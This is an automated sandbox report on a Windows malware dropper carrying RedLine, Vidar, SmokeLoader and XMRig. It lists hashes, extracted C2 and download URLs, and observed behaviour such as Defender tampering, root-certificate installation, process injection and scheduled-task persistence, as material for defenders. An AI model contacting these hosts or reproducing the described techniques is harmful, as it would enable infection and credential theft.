redline | 9b18c1763217f3a52f92da2cda50729fc77c7cf0f9ee9920be7143765c729950

Analysis

max time kernel
165s
max time network
169s
platform
windows10-2004_x64
resource
win10v2004-20220310-en
submitted
12-03-2022 05:16

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

9b18c1763217f3a52f92da2cda50729fc77c7cf0f9ee9920be7143765c729950.exe
Size

3.9MB
MD5

01506977f93139155d8b8fd0b571470c
SHA1

320014bef98afebf71498fca28087860f70664e1
SHA256

9b18c1763217f3a52f92da2cda50729fc77c7cf0f9ee9920be7143765c729950
SHA512

17c2dca955248284cf76063a11b133f18834c1f5ed85c545e79514cb8409538b6bd66c9efdad2b536ea155aa323107be94530d5811bbe384cd9e63dc3c0b562a

Score

10^/10

redline smokeloader vidar xmrig 706 olkani aspackv2 backdoor evasion infostealer miner spyware stealer trojan upx

Malware Config

Extracted

Family

vidar

Version

39.9

Botnet

706

https://prophefliloc.tumblr.com/

Attributes

profile_id
706

Extracted

Family

smokeloader

Version

2020

http://aucmoney.com/upload/

http://thegymmum.com/upload/

http://atvcampingtrips.com/upload/

http://kuapakualaman.com/upload/

http://renatazarazua.com/upload/

http://nasufmutlu.com/upload/

rc4.i32

Extracted

Family

redline

Botnet

OLKani

ataninamei.xyz:80

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/2304-235-0x0000000000400000-0x000000000041E000-memory.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Vidar Stealer 2 IoCs

stealer

Processes:

resource	yara_rule
behavioral2/memory/1816-214-0x0000000004960000-0x00000000049FD000-memory.dmp	family_vidar
behavioral2/memory/1816-215-0x0000000000400000-0x0000000002CC3000-memory.dmp	family_vidar

XMRig Miner Payload 3 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/1764-262-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/1764-263-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/1764-264-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig

ASPack v2.12-2.42 9 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\7zSC97BCC03\setup_install.exe	aspack_v212_v242
C:\Users\Admin\AppData\Local\Temp\7zSC97BCC03\setup_install.exe	aspack_v212_v242
C:\Users\Admin\AppData\Local\Temp\7zSC97BCC03\libcurlpp.dll	aspack_v212_v242
C:\Users\Admin\AppData\Local\Temp\7zSC97BCC03\libcurlpp.dll	aspack_v212_v242
C:\Users\Admin\AppData\Local\Temp\7zSC97BCC03\libcurl.dll	aspack_v212_v242
C:\Users\Admin\AppData\Local\Temp\7zSC97BCC03\libcurl.dll	aspack_v212_v242
C:\Users\Admin\AppData\Local\Temp\7zSC97BCC03\libcurl.dll	aspack_v212_v242
C:\Users\Admin\AppData\Local\Temp\7zSC97BCC03\libstdc++-6.dll	aspack_v212_v242
C:\Users\Admin\AppData\Local\Temp\7zSC97BCC03\libstdc++-6.dll	aspack_v212_v242

Executes dropped EXE 27 IoCs

Processes:

setup_install.exesahiba_2.exesahiba_3.exesahiba_4.exesahiba_8.exesahiba_6.exesahiba_1.exesahiba_5.exesahiba_9.exesahiba_7.exesahiba_5.tmpsahiba_1.exejfiag3g_gg.exejfiag3g_gg.exejfiag3g_gg.exejfiag3g_gg.exejfiag3g_gg.exejfiag3g_gg.exejfiag3g_gg.exejfiag3g_gg.exechrome2.exesetup.exesahiba_8.exesahiba_8.exewinnetdriv.exeservices64.exesihost64.exe

pid	process
2864	setup_install.exe
1804	sahiba_2.exe
1816	sahiba_3.exe
1640	sahiba_4.exe
1716	sahiba_8.exe
2524	sahiba_6.exe
1992	sahiba_1.exe
3136	sahiba_5.exe
3240	sahiba_9.exe
3720	sahiba_7.exe
4440	sahiba_5.tmp
4476	sahiba_1.exe
2420	jfiag3g_gg.exe
4960	jfiag3g_gg.exe
556	jfiag3g_gg.exe
444	jfiag3g_gg.exe
2020	jfiag3g_gg.exe
2600	jfiag3g_gg.exe
3480	jfiag3g_gg.exe
1528	jfiag3g_gg.exe
4720	chrome2.exe
1880	setup.exe
4884	sahiba_8.exe
2304	sahiba_8.exe
5104	winnetdriv.exe
2972	services64.exe
2200	sihost64.exe

UPX packed file 9 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe	upx
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe	upx
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe	upx
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe	upx
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe	upx
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe	upx
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe	upx
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe	upx
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe	upx

Checks computer location settings 2 TTPs 6 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

sahiba_7.exeservices64.exe9b18c1763217f3a52f92da2cda50729fc77c7cf0f9ee9920be7143765c729950.exesahiba_1.exesahiba_4.exechrome2.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	sahiba_7.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	services64.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	9b18c1763217f3a52f92da2cda50729fc77c7cf0f9ee9920be7143765c729950.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	sahiba_1.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	sahiba_4.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2403053463-4052593947-3703345493-1000\Control Panel\International\Geo\Nation	chrome2.exe

Loads dropped DLL 7 IoCs

Processes:

setup_install.exesahiba_5.tmp

pid	process
2864	setup_install.exe
2864	setup_install.exe
2864	setup_install.exe
2864	setup_install.exe
2864	setup_install.exe
2864	setup_install.exe
4440	sahiba_5.tmp

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

39 ipinfo.io
40 ipinfo.io
41 ip-api.com

flow	ioc
39	ipinfo.io
40	ipinfo.io
41	ip-api.com

Suspicious use of SetThreadContext 2 IoCs

Processes:

sahiba_8.exeservices64.exe

description	pid	process	target process
PID 1716 set thread context of 2304	1716	sahiba_8.exe	sahiba_8.exe
PID 2972 set thread context of 1764	2972	services64.exe	explorer.exe

Drops file in Windows directory 1 IoCs

Processes:

setup.exe

description ioc process

File created C:\Windows\winnetdriv.exe setup.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 3 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exe

pid pid_target process target process

632 2864 WerFault.exe setup_install.exe
1500 1764 WerFault.exe explorer.exe
1932 1764 WerFault.exe explorer.exe

description	ioc	process
File created	C:\Windows\winnetdriv.exe	setup.exe

pid	pid_target	process	target process
632	2864	WerFault.exe	setup_install.exe
1500	1764	WerFault.exe	explorer.exe
1932	1764	WerFault.exe	explorer.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

sahiba_2.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	sahiba_2.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	sahiba_2.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	sahiba_2.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

2524 schtasks.exe
1980 schtasks.exe

pid	process
2524	schtasks.exe
1980	schtasks.exe

Modifies data under HKEY_USERS 6 IoCs

Processes:

svchost.exe

description	ioc	process
Set value (data)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\IdentityCRL\Immersive\production\Token\{D6D5A677-0872-4AB0-9442-BB792FCE85C5}\DeviceTicket = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000d79ef4adb8e2df4e96c16fb9ef12577e000000000200000000001066000000010000200000008d2cc49c4f12ee22dcdb2c4bc222c42c8cd75df8ec70d9a89b0912778db3fbc6000000000e8000000002000020000000de83534b2f42daf4ccde80f1004a6b8589c11b3c1a20be7a33faa156784df629100d0000befaef333fe61d264ea6e02ced0c5d97fdf7928ff9ea808cee5df0f41b9b5d4c4b3842ca5fbface909a03da63d1f4de416fea39eb04bfe4c82127e12a6cc6b98eb782eb5a223dca744b25de92aa569f0f7541abfbf21ac2a539f2241bb1ffc0ddcdd3c64fca776da46361eb18aab6d942fea06b5b60387e82e18da9c85d1d4857ca1a9a9cc7fa76a10076acb338907889dfc0d7997565bcea19298c3a5a0c1d026e245cc591bc13d0d0e9e3af93dc771b077c8cbe196d44ecc48505316e8a25381a2955953a0eb656247b3f24ef313ec2b2055cef58f4506c5e101b174893f103452ba73055fcce2f87115fce20645a230ed9bb7b9b1d65a3f0863bc985d5dd9be58594712a0914efdd56e532e9cc84e91364330737aa6c9cacb12787a63994825b2b1c77688a64c6768a607c561e3b4a5cc743c58ccc7039ecbe445c705a1fde0e9a48261c547d338de7648244973f334d68b909ffae7ce5f16b462b82233cd983ca10e63aae5e26c0f938c17b200a2a9fcd52cd307e77a8beb8ad28f963f2a81b654e29b3b572255e0de46749f9ef54d880d1326c9288322abc22079b9d5f4d65cddbfb2260a9f321ad844cc194546536bd24350b3f292111e132d271883bb041520bdf82dbe654eb481d8064a3fc80dc412d31501258c3ede3c447d0c19e5418fd1a8067bd81e37f9098ea20bbb207ac03b39ea02afd24d7129e5ebf677747bd98a60ccee7bb6f0360a800dc7a6a47bd9fc28bca284d11e5b1905561573ae1ab598ba899a7cc1790bbb7ce93c99ab0a59270214063632a709439eefec37a2d0e8496a8cecde39ecb9a5771354f645ee97732a6c44e48906884aefa6e895627710a590f5b8e9bab83510f20ada71525615b0e4f4e5a4950c20843186f5ef8591d388ad6757cba4d3c1d8c66656bb58bc593df72f4128908cdf8c3802202d5678a5199d76a2be885145e69bbd771db82f5c57d19e7a67b7b0f3b6f41ed8f041db887ce24c336192b7894d5c70ef98845adce1ee8a635a5cba56b08c5a711aa6255e1cde1f42cce05a166839057fb6120fa2e54e873162d5c45adfd6b3d2e6f55e4a0189b937761b4bbf75d61feaab0bac5c96323f5e25e2051b4425afb14e2926ec36c69ef254d19e6c2a2755a64adc0f7221a1f66875626db39a705d2fb08118506e16f6117f46b9ef8fb17b86cb47ee3da6f14eb38ed2bad05bd76d966088c89d377d75391c050a0a98914ceb60b8b62718837ddc87e49cc510a8bd73264b523f80515b3d83693b66537a62007c351752e6d14257b54be5a8bf6c5234146a27d6fd2b3b9eaefc3ab17b24b2799e629c84721cf9c102c16e926ea18203d218b4d1c095dbb1624cfacafa90d1170e54bcadf5e484ecdd67d0593252c584ed960f8648198241e63153e4bb898d2ca81858748ea1e7fece390c8bac9ef4db395db19b13dbbb49d7a7b69cfb238451c5229bd67f2739f8d0bc8cb88937413b7f533346c39697f3ffeeb495a3f92687d74fcd3ace44bfd6b641cdfac05fcda59aa80027d3d471d893eeec484b833de43ca152c989df2a4cfb410114c1caeff7591dc5b6d4cc202def4fb499a8f9a1f8c799fbbc4108d451f9a3a638ead87da41e3b3eeeba8072f8e9acd720cb896ab9ed8c7bbed86ccd6e4b17e4e1b43f7b51572f9a1ae830474e3d05be60b7b2def1708fd313f5becde8e08636cee90aabd9485d5d6f52673f107da45ab72540cf3032e0507d4a03d98a50280cffd407dcc53eb7906656e7ae7c6358e4248612354a773d21ceadcc578cee680e7143df29bc67e75aa85c8a5804e5d90b5cb0a7f68c102b8a1cac646f10f047ec229d3c8a3560934977f66132b784946eb662dcfeced0888aaa6c1b207202d59a0dec5d6c405593e514af0231dd3e775fd804f7b5425722a1347f6ccc2acc1e4a6e20e5cefca0944d2ef8915f035553adeecb121a3bdd09e90e22a779b0eec3daaf3fb2c3265c2db2aa044a8a970a5dbeff82ddda29a2999f12f183f26474b5a30ca7ba2891fe7762eb3e7eea901ea2b9d05476c83d04a33a186563f7455bb898d2b177aada5e1b833de7a15939f5310b91d5c499b70c114b85e2061efdbeff2ad9a521505313fe43806de7bfe3a67cdd06471544c46b448a12e0603e8736bcef2ac834c056cf26e9dd9fdb16c31ab3d09618b28eca9de1c0c2a2d803f3bb2025e8bc550b992df6f350e95f740c7dcad55b6dc4c66de30250411b4507c9215ab9002e538098cc6572f4a6da79989461a402984637290f32239082ebd4ef05d951687785a6dea6bfab38a58c3a76c71e7f304100cb993b3a4d7df70eba1d2ef1116ded8a1b258ae3435ac0fe020a5fdd7502154f6b3739f50cd0a53712205baea9ab2eab4336fbe21851b8db1f5b84b30a7fe4191546aed3c91fcbe19d036697f5ef908d2e880e020fe57e64c631cd8daf9ec6db99768b91ae3e72e2ee0fa675f44ae055fad045f3dadcab7d03386bf8602525bc797361676f998d0cd77d3f72dc507e618f00fb96e37ceca022e892563e09b3b6ab9aaffbdfb72d2882dacf8c53e17bfc8e8098adf4eecea5e76597cd99cf4d1394ab4f89b6346dd0fc3938f120968b8f03150d086b9e70bb40af19d91e3b6ced9ef1b1d73fe39d975cd5bc22bfa87abdc6aafdd71fcdc4a8cea9f23f63a3e05eb487aa3a2584d81d009bc47a3d824216ca062ed3f3459da28f407b514d3c93f5298e5178e4bafa4b997ec3e2b6462d46864d573e9948fbe3be9dfc9106ef4c77dde85dc62f3f9a958d9123842a1ebbe0e75425ee8638196f60fc58099748e1a73915ae39ebba439b0ff03d192ea197961ec5b17ef3d89509529125c14de5d3a0b066bc35c4878dd51569c024399364a6952f3acae3d6a4ad76682808c8145a5666b7b863f585f7a038ffe4a4824cf6d58fe2b4bd87b6aeebd3cc34df1e6c673b0d713b3ec1fcca56a904866018d4aedcbef94e8d0fef2a18648c2d5c4f25faaa56f077c3b89e7a54fcfe0930d43cf2b1577c5a5d0cabde44940bfa64a95689ac7f821c1b3a4359763a3bd554509e87cfd3878ad009f3010903aa6f42e946ef351776dc8724c4e1ae8761a432358042643bc4c6ea538f2e613c64dea3828147dd464aebb3168b72cd088a419a1b8d66ee3c6d7b9a381fc3a01aa1eb359c8f168046d74f5ed57bcf21ecb9a6a5aab5beb6dd8d10b57564ea5dcd0a431870b45674fc59005e0ff8309ff0f9e468d4db0b78da0f32a5926cfecfa62ec03c8e665ea005cddd132b2c02794d51c245625df68d4f4aa98d71c45f75140f1bc64849163d5e12ed2ca0ef57cec4ba0028920b901fd65515b0fc48c88741424f45ef7b5d9913eb90885f3e9dfd283840c3facf5e962410db89d17e907985801d5f7c9db7c99f3ba832400311863f98ae0f54aee7682dfa924c145e11a55400f099b2e6fffee9c504ea6a9ab17e3578170ab2a89bdec7ae622444ae4daa03e957678425c01d7bd62a795e64fcf8027002e03409b9632cf0fee59aa4b76fca5967895415f5fde64fb1037811a17abb0b794f99cbfefcbd53d1b431abe680e84ec5604d2de3b67753a86044db3ddd8c7c2cbdf502b355a03b9ff6836888db6043d0aa8a7f58fdef0b1979f4a3cfdc21125ccc4c5e2d825766afe3c7024cfd3e2422f9b1085ea4e435437a5538685e95875f8e06eac2990c7411d842b7ad2af4d12587750a5d6d119aadac52b63532e4093e933b0616005114433072914aabcde5d316626ec98905bef058aa9fe38250dad044df3afe2a4e7856079b9f4851d5f3aca56d874625aff00edee738e5bd7cdc1d81ba82d8eae366087f125bdba132de2a6885d227c2a1f1638ccd1b06fdeafa295c7cfcd5224167a145bb6831fa8031b9dfc25ca4281f253bf0ef1daba6f9055e1908972fedbbd37c947c01b4544bee8e79f4473e4d482443bff67ce3e88a5de703bcf135fa18e03c991c3fe5dcc2b31e665715f10ba627afec801aeab122785bade8ec595e0a3667993a74033d47233645ed862c8e525726b74ed1c9df80e3dd24a978b76063c6760047ed454a0ce2d1edd1038df44330d20a273ff0d037e014317bd36763ac7ea05158430bcdaef93134e604574416a3c322405755b1c467098db7e56f84fc44ed8f3cc10d6f58f8237d04a752a16a8cefbc90f16ed4062ec080c41333cc5799353e888f387f9425f1c9038fc417c33eccd4f13b082b07bba48b6882ec29594b15f475bf7699faba37035294f92cd4c14f0216456e94313047e26efe5d6bd317a39ff4d11d15b5f34de8d27bdf53c8ed74d5082ac0e03cc8d65367c32387a2841b4917075e61f75247acbf95dc9eb6492d0a11d1896dd4d2dcd040815f1d322f9c0ca1f140c363e67665cd2d93a0b58c23b3a0888ba06a036393ee5f10fcd7822668f413ceb23153d0189297847426f64ce9fcd75a5bbf99f50543f68ec621c53a6fcc11d48979d6ab06f4f81eed91773d59b3b4ab76d1f88f33504fc5d79d37e2a5769510e426ecde016296031fb1d7c8eadcf595db80782debe60e97b9ead5d32b76e313868a299b2bc89248760cc0d7fccaf6109f4050adcffa1b1905b61cc123cd8c696651035c6a064405a93933df7317220cd4ac3c41f571510749de0fce2255873529280e2aa99e36172010963b75409c7d3c88fcfef70c95a3f42fd86a12a1cdf197b7fdc0ad15bb9c9b9b1f796b40000000037183dbe3300ec92853e29cfd74b67242c99da2d466790fd60e23dc2b80eaaf383d651ce506a62ea6fba892ff1198a762ea9673e3551cfad6a0ecd4fc0dc1e4	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\IdentityCRL\Immersive\production\Token\{D6D5A677-0872-4AB0-9442-BB792FCE85C5}\DeviceId = "0018400647F126EC"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\IdentityCRL\Immersive\production\Token\{D6D5A677-0872-4AB0-9442-BB792FCE85C5}\ApplicationFlags = "1"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\IdentityCRL\Immersive\production\Property	svchost.exe
Set value (data)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\IdentityCRL\Immersive\production\Property\0018400647F126EC = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000d79ef4adb8e2df4e96c16fb9ef12577e000000000200000000001066000000010000200000007e0adf7e534cced983ca645a34a13c8936ce0c4d5128296b659ca104fa71a434000000000e80000000020000200000006a5564a48465d603a646a85dc31c3b9188b41e3f0bc017e3d2e12242784bd1508000000096923f7ce9d871a5d21c1a4760f6c06f1edd58b231164ea47a3215bbf6811e807a1d2a5d426456bbb6a35202a5531dcf8cee75a98176957296330e3f752e0ddf36b582779cbb2cc35d5b8a44474f95df7b770cde3dd3f7f6dd667c7020385d4b658bac31f231d23433b8bd834303bc7adc4c7cf8b5295b1e5456a655291c423340000000f836a52fb8d832662509918025d0083384d71590cac77056022ef93220c2a7e4fa30c69797cd7e29b5e1d6211c7c26cfff78215fcba013079c9e7b53948e7be1	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\IdentityCRL\Immersive\production\Token\{D6D5A677-0872-4AB0-9442-BB792FCE85C5}	svchost.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

sahiba_3.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	sahiba_3.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c000000010000000400000000080000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	sahiba_3.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

sahiba_2.exe

pid	process
1804	sahiba_2.exe
1804	sahiba_2.exe
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724
2724

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

2724
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

sahiba_2.exe

pid process

1804 sahiba_2.exe

pid	process
2724

Suspicious use of AdjustPrivilegeToken 12 IoCs

Processes:

sahiba_6.exesahiba_8.exechrome2.exeservices64.exe

description	pid	process
Token: SeDebugPrivilege	2524	sahiba_6.exe
Token: SeDebugPrivilege	2304	sahiba_8.exe
Token: SeDebugPrivilege	4720	chrome2.exe
Token: SeShutdownPrivilege	2724
Token: SeCreatePagefilePrivilege	2724
Token: SeDebugPrivilege	2972	services64.exe
Token: SeShutdownPrivilege	2724
Token: SeCreatePagefilePrivilege	2724
Token: SeShutdownPrivilege	2724
Token: SeCreatePagefilePrivilege	2724
Token: SeShutdownPrivilege	2724
Token: SeCreatePagefilePrivilege	2724

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

9b18c1763217f3a52f92da2cda50729fc77c7cf0f9ee9920be7143765c729950.exesetup_install.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exesahiba_5.exesahiba_1.exesahiba_9.exe

description	pid	process	target process
PID 1948 wrote to memory of 2864	1948	9b18c1763217f3a52f92da2cda50729fc77c7cf0f9ee9920be7143765c729950.exe	setup_install.exe
PID 1948 wrote to memory of 2864	1948	9b18c1763217f3a52f92da2cda50729fc77c7cf0f9ee9920be7143765c729950.exe	setup_install.exe
PID 1948 wrote to memory of 2864	1948	9b18c1763217f3a52f92da2cda50729fc77c7cf0f9ee9920be7143765c729950.exe	setup_install.exe
PID 2864 wrote to memory of 3220	2864	setup_install.exe	cmd.exe
PID 2864 wrote to memory of 3220	2864	setup_install.exe	cmd.exe
PID 2864 wrote to memory of 3220	2864	setup_install.exe	cmd.exe
PID 2864 wrote to memory of 1764	2864	setup_install.exe	cmd.exe
PID 2864 wrote to memory of 1764	2864	setup_install.exe	cmd.exe
PID 2864 wrote to memory of 1764	2864	setup_install.exe	cmd.exe
PID 2864 wrote to memory of 648	2864	setup_install.exe	cmd.exe
PID 2864 wrote to memory of 648	2864	setup_install.exe	cmd.exe
PID 2864 wrote to memory of 648	2864	setup_install.exe	cmd.exe
PID 2864 wrote to memory of 312	2864	setup_install.exe	cmd.exe
PID 2864 wrote to memory of 312	2864	setup_install.exe	cmd.exe
PID 2864 wrote to memory of 312	2864	setup_install.exe	cmd.exe
PID 2864 wrote to memory of 1120	2864	setup_install.exe	cmd.exe
PID 2864 wrote to memory of 1120	2864	setup_install.exe	cmd.exe
PID 2864 wrote to memory of 1120	2864	setup_install.exe	cmd.exe
PID 2864 wrote to memory of 1996	2864	setup_install.exe	cmd.exe
PID 2864 wrote to memory of 1996	2864	setup_install.exe	cmd.exe
PID 2864 wrote to memory of 1996	2864	setup_install.exe	cmd.exe
PID 2864 wrote to memory of 1440	2864	setup_install.exe	cmd.exe
PID 2864 wrote to memory of 1440	2864	setup_install.exe	cmd.exe
PID 2864 wrote to memory of 1440	2864	setup_install.exe	cmd.exe
PID 2864 wrote to memory of 3484	2864	setup_install.exe	cmd.exe
PID 2864 wrote to memory of 3484	2864	setup_install.exe	cmd.exe
PID 2864 wrote to memory of 3484	2864	setup_install.exe	cmd.exe
PID 2864 wrote to memory of 2732	2864	setup_install.exe	cmd.exe
PID 2864 wrote to memory of 2732	2864	setup_install.exe	cmd.exe
PID 2864 wrote to memory of 2732	2864	setup_install.exe	cmd.exe
PID 1764 wrote to memory of 1804	1764	cmd.exe	sahiba_2.exe
PID 1764 wrote to memory of 1804	1764	cmd.exe	sahiba_2.exe
PID 1764 wrote to memory of 1804	1764	cmd.exe	sahiba_2.exe
PID 648 wrote to memory of 1816	648	cmd.exe	sahiba_3.exe
PID 648 wrote to memory of 1816	648	cmd.exe	sahiba_3.exe
PID 648 wrote to memory of 1816	648	cmd.exe	sahiba_3.exe
PID 312 wrote to memory of 1640	312	cmd.exe	sahiba_4.exe
PID 312 wrote to memory of 1640	312	cmd.exe	sahiba_4.exe
PID 312 wrote to memory of 1640	312	cmd.exe	sahiba_4.exe
PID 3484 wrote to memory of 1716	3484	cmd.exe	sahiba_8.exe
PID 3484 wrote to memory of 1716	3484	cmd.exe	sahiba_8.exe
PID 3484 wrote to memory of 1716	3484	cmd.exe	sahiba_8.exe
PID 1996 wrote to memory of 2524	1996	cmd.exe	sahiba_6.exe
PID 1996 wrote to memory of 2524	1996	cmd.exe	sahiba_6.exe
PID 3220 wrote to memory of 1992	3220	cmd.exe	sahiba_1.exe
PID 3220 wrote to memory of 1992	3220	cmd.exe	sahiba_1.exe
PID 3220 wrote to memory of 1992	3220	cmd.exe	sahiba_1.exe
PID 1120 wrote to memory of 3136	1120	cmd.exe	sahiba_5.exe
PID 1120 wrote to memory of 3136	1120	cmd.exe	sahiba_5.exe
PID 1120 wrote to memory of 3136	1120	cmd.exe	sahiba_5.exe
PID 2732 wrote to memory of 3240	2732	cmd.exe	sahiba_9.exe
PID 2732 wrote to memory of 3240	2732	cmd.exe	sahiba_9.exe
PID 2732 wrote to memory of 3240	2732	cmd.exe	sahiba_9.exe
PID 1440 wrote to memory of 3720	1440	cmd.exe	sahiba_7.exe
PID 1440 wrote to memory of 3720	1440	cmd.exe	sahiba_7.exe
PID 1440 wrote to memory of 3720	1440	cmd.exe	sahiba_7.exe
